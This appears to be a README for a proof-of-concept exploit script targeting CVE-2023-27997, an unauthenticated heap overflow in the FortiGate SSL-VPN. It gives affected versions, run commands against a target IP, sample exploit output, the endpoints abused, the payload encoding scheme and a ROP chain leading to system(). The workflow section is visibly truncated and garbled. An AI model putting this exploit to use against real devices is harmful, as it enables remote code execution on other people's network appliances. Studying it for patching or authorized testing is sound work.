
FortiGate SSL-VPN CVE-2023-27997 Exploit PoC Script with ROP Chain
FortiGate SSL‑VPN CVE‑2023‑27997 Exploit PoC Script with ROP Chain
fgt-cve-2023-27997-exploit.py is a Proof‑of‑Concept (PoC) exploit script written for the critical vulnerability CVE‑2023‑27997 discovered in Fortinet FortiGate devices.
The vulnerability stems from a heap-based buffer overflow that allows remote code execution (RCE) without authentication on the FortiOS SSL‑VPN interface.
Script workflow:
/remote/hostcheck_validate endpoint, triggering a memory overflow.Warning: This script should only be used in authorized testing or laboratory environments.
| Product | Versions |
|---|---|
| FortiOS | 7.2.0 – 7.2.5 7.0.0 – 7.0.11 6.4.0 – 6.4.12 6.2.0 – 6.2.14 6.0.0 – 6.0.16 |
| FortiProxy | Relevant versions |
pip3 install -r requirements.txt
requirements.txt content:
requests urllib3
python3 fgt-cve-2023-27997-exploit.py <TARGET_IP> <TARGET_PORT>
Example:
python3 fgt-cve-2023-27997-exploit.py 192.168.1.200 10443
| Argument | Description |
|---|---|
<TARGET_IP> | Target FortiGate IP address |
<TARGET_PORT> | SSL‑VPN port (default: 443 or 10443) |
[*] Launching FortiOS 7.0.5 CVE-2023-27997 ROP Chain Ping Exploit...
[+] Salt retrieved: 749a2b77
[+] Enc parameter generated (1024 characters)
[!] 500 Internal Server Error - Possible memory overflow or crash!
/remote/info --> salt value retrieved
/remote/hostcheck_validate?enc=<payload> --> buffer overflow triggered
enc parameter is encrypted with a XOR keystream generated from the combination of salt + seed.| Step | Gadget | Description |
|---|
| 1 | pop rdi ; ret | Command address loaded into RDI |
| 2 | system@plt | Command executed |
| – | 0xdeadbeefdeadbeef | Placeholder; actual address must be determined in lab environment |
This PoC is designed to work without requiring heap grooming in a controlled test environment.